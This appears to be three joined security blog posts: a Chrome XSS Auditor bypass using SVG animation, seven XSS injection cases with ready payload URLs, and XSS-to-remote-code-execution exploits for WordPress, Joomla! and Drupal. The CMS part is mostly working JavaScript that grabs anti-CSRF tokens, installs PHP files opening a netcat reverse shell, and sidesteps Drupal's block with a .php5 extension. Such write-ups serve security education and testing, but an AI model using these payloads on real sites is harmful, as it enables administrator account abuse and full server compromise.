More than an year ago, in my private twitter account Brutal Secrets, I shared an interesting way to bypass Google’s Chrome anti-XSS filter called XSS Auditor. We will see now in details, from a blackbox perspective, a logical sequence of assumptions and conclusions that leads to our XSS vector responsible for the bypass.

We start with a known source of trouble for all XHTML parsers (browsers) out there: Scalable Vector Graphics or SVG. Without getting deeper into the explanation of what SVG can do (check here), all we need to know is that SVG markup is way more complex than simple XML/HTML and full of unexplored resources for an attacker.

Starting with a simple <svg> tag we proceed using an empty anchor, the <a> tag that creates an hyperlink. Nested to this anchor we will use a rectangle to create a larger clickable area, ending up with something like this:

<svg><a><rect width=100% height=100%>

check here

We are now looking for a way to interact with the element but we can’t use event handlers due to Auditor’s blocking. So we will try one of the tags used in animations, notably the <animate> one. The <animate> tag takes an attribute (with attributeName) of a parent element (in our case the <rect> one) and manipulates its value, like “width” for instance. It creates the animation effect with the help of its own attributes “from”, “to” and “dur” (duration).

<svg><a><rect width=100% height=100%><animate attributeName=width from=0 to=100% dur=2s>

check here

The interesting conclusion here is that we are in fact changing the original value of “width” attribute, in sequence. But what if we target a different attribute? Let’s take the href of the anchor (<a>) which is not set but is implicit. With some tweak in attributes and a self-closed <rect>, we are ready to go.

<svg><a><rect width=100% height=100% /><animate attributeName=href to=//google.com>

check here

or

<svg><a><rect width=100% height=100%><animate attributeName=href from=//google.com to=?>

check here

By clicking in our rectangle now, we are redirected to Google’s website. So to pop an alert box, we will just try to change it to “javascript:alert(1)”.

Not that easy. Even an attempt to fool Auditor using HTML encoding gets blocked.

<svg><a><rect width=100% height=100% /><animate attributeName=href to=javas&#99ript:alert(1)>

check here

We get back to SVG Attribute Reference and find an interesting alternative to “from” and “to”: animation elements can also use a “values” attribute which provides the same set of values for the animation.

By simply setting “values” to “javascript:alert(1)” we get blocked again. But, surprisingly, this time we pop an alert using the HTML encoded form, “javas&#99ript:alert(1)”. Strange enough, any other arbitrary attribute with our obfuscated payload will fire a blocking but that one seems “whitelisted”!

We change the <rect> for an <image> tag, more suitable to attract a victim’s click. A little addition of text/markup and… Boom!

<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:alert(1)>

check here

This bypass was found in version 51, although it might work in several past versions. It currently works on Google Chrome v60, the latest version at the time of this publication.

#hack2learn

When reading material on XSS subject we usually see the classical <script>alert(1)</script> as an demonstration of such vulnerability (PoC – Proof of Concept). While very true, it doesn’t go much beyond this, making the novice in this field to look for more in order to deal with real world scenarios.

So here are the 7 cases everyone should know to be able to exploit the vast majority of XSS flaws out there. A web page to show them with their variations (single or double quotes) was built to training (click to go to it):

Right in the beginning of the source code, there’s a HTML comment with all parameters to trigger each case. All of them work for both GET and POST requests.

As you might notice, all cases are source-based which means that injection always appears in source code retrieved in the body of an HTTP response. Independent of being of reflected or stored type, important here is the context where they appear when DISPLAYED so we will always use the reflected one as main example. There are XSS flaws that don’t appear in source code, the DOM-based ones, which won’t be covered here.

Remember to try examples below only in a browser without native XSS filtering, like Mozilla Firefox.

1. URL Reflection

When URL is reflected somehow in source code, we can add our own XSS vector/payload to it. For PHP pages it’s possible to do add anything in the URL after page name (without changing it) with the use of a slash character (/).

1. http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

The leading tag breaking (“>) is needed to break out of the current tag an make possible the insertion of a new one.

Although there are several reasons for different languages (reflection might appear in path or in URL parameters too), for PHP the culprit usually is the global variable $_SERVER[“PHP_SELF”] in action field of submission forms.

2. Simple HTMLi (HTML injection)

The most straightforward one, input is reflected just right in the code between existing tags, after or before them. Without the need to escape or break anything, any simple XSS vector like the ones in the form of <tag handler=jsCode> does the job.

2. http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>

3. Inline HTMLi

Almost simple as the previous one but with a little “> prepended to break out of the current tag.

3. http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>

4. Inline HTMLi: No Tag Breaking

When input lands in an HTML attribute and there’s filtering of greater than character (>), it’s not possible to break out of current tag like in the previous case.

So we use an event handler appropriate to the very tag we are injecting into, like:

4. http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//

Which closes the value and gives room to insertion of the onmouseover event handler. Pointing to alert(1) followed by double slashes to comment out the hanging quote, that triggers the js popup when victim points his/her mouse over the affected input field.

5. HTMLi in Js (Javascript) Block

Input sometimes land into a javascript block (script tags), usually in the value of some variable of the code. But because the HTML tags has priority in the browser’s parsing, we can simple terminate the block and insert a new tag.

5. http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>

6. Simple Js Injection

If the script tag is being filtered somehow, previous exploitation will fail.

So the way to go is to inject javascript code, respecting the syntax. One known way to do that is by “concatenating” the value of vulnerable variable to our desired code to execute. Because we can’t let any quote hanging, we break first, concatenate to our code (with minus sign) and then do the reverse (concatenate and then insert a quote) to get a valid javascript syntax.

6. http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘

7. Escaped Js Injection

In the previous case, if the quote (which is responsible for the break out of the variable’s value) is escaped with a backslash (\), injection won’t work (invalid syntax).

For that, we have a little trick: escaping the escape. We insert a leading backslash to escape the added one and then the quote will work to break. After “concatenation” to our desired js code, we need to comment out the rest because there’s no way to repeat the process in the remaining side of the injection.

7. http://brutelogic.com.br/xss.php?c5=\’-alert(1)//

 

Conclusion

Last but not least, all cases presented here are handled by our online XSS discovery service KNOXSS, in Standard and Pro versions. Check it out!

 

#hack2learn

CMSes (Content Management Systems) are a perfect target for XSS attacks: with their module installation features and the possibility to know all the requests done by a legit administrator of the system previously, it’s pretty easy to mount a CSRF (Cross-Site Request Forgery) attack against him/her.

By taking the anti-CSRF token/nonce and doing the subsequent requests in behalf of an administrator,

Which can lead to full compromising.

PoCs for the 3 most used CMSes worldwide are below in their latest version until date. In all of them, we set a listener with netcat on port 5855 and use PHP code to execute another netcat instance connecting back to us (reverse shell). If you want or need a different PoC, just change it accordingly (variable “s” in WP’s js code, file “jml.php” in Joomla! and file “dp/dp.php5” in Drupal).

WordPress 4.7.5

For latest WP, code is very straightforward: we first get the nonce by parsing 1st XHR response and then submit it in edition of the plugin “Hello Dolly”, which comes with WordPress. Another plugin can be used, it’s just a matter of fingerprinting the target.

p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`nc localhost 5855 -e /bin/bash`;';

a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();

$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&' + q;

b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);

b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/wordpress/wp-content/plugins/hello.php');
   }
}

Save it as a js file (like “wp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Joomla! 3.7.2

Procedure for Joomla! is a little bit different: we can install a remote module. For this we need a zip file, which needs to contain the following 2 files:

1. jml.xml

<?xml version="1.0" encoding="utf-8"?>
<extension type="module" method="upgrade">
   <files>
      <filename>jml.xml</filename>
      <filename module="jml">jml.php</filename>
   </files>
</extension>

2. jml.php

<?=system('nc localhost 5855 -e /bin/bash');

With that zip file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/joomla/administrator/index.php?';
q = 'option=com_installer&view=install';
u = 'http://localhost/exploits/jml.zip';

a = new XMLHttpRequest();
a.open('GET', p, 0);
a.send();

$ = 'install_directory=/var/www/html/joomla/tmp&install_url=' + 
u + &installtype=url&task=install.install&' +
/[a-zA-Z0-9]{32}=1/.exec(a.responseText);

b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/joomla/modules/jml/jml.php');
   }
}

Save it as a js file (like “jml-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Drupal 8.3.2

Drupal is the most complicated of all 3: besides needing the default grab-token-and-submit procedure, exploitation also needs the hosting of a zip or tar.gz file (we choose the latter) and the loading of several js scripts in order to complete the process (?). Thankfully, we only need to add an extra step by grabbing an URL in the 2nd XHR response, editing it a little bit and then loading it within an iframe.

For the tar.gz file we need to create a “dp” folder with these 2 files:

1. dp/dp.info.yml

name: x
type: module
core: 8.x

2. dp/dp.php5

<?=system('nc localhost 5855 -e /bin/bash');

Yes, you’re seeing it right. The PHP file needs the .php5 extension or it won’t work. Drupal forbids the execution of a .php file with a 403 status code response when requesting it later but by using php5 we bypass that. 😉

With that tar.gz file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/drupal/admin/modules/install';
u = 'http://localhost/exploits/dp.tar.gz';

a = new XMLHttpRequest();
a.open('GET', p, 0);
a.send();

$ = 'project_url=' + u + '&form_token=' +
/form_token" value="([^"]*?)"/.exec(a.responseText)[1] + '&form_id=update_manager_install_form';

b = new XMLHttpRequest();
b.open('POST', p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);

b.onreadystatechange = function() {
   if (this.readyState == 4) {
      o = /URL=([^"]*?)"/.exec(b.responseText)[1].replace(/amp;/g, "");
      i = document.createElement('iframe');
      i.setAttribute = ('style', 'visibility:none');
      i.src = o.replace("do_nojs", "start");
      document.body.appendChild(i);
      setTimeout(function(){fetch('/drupal/modules/dp/dp.php5')}, 1000);
   }
}

Save it as a js file (like “dp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or by emulate it by typing directly in browser console, being logged in as an administrator.

That’s it. Here is a fast-paced video showing all 3 exploits above working!

#hack2learn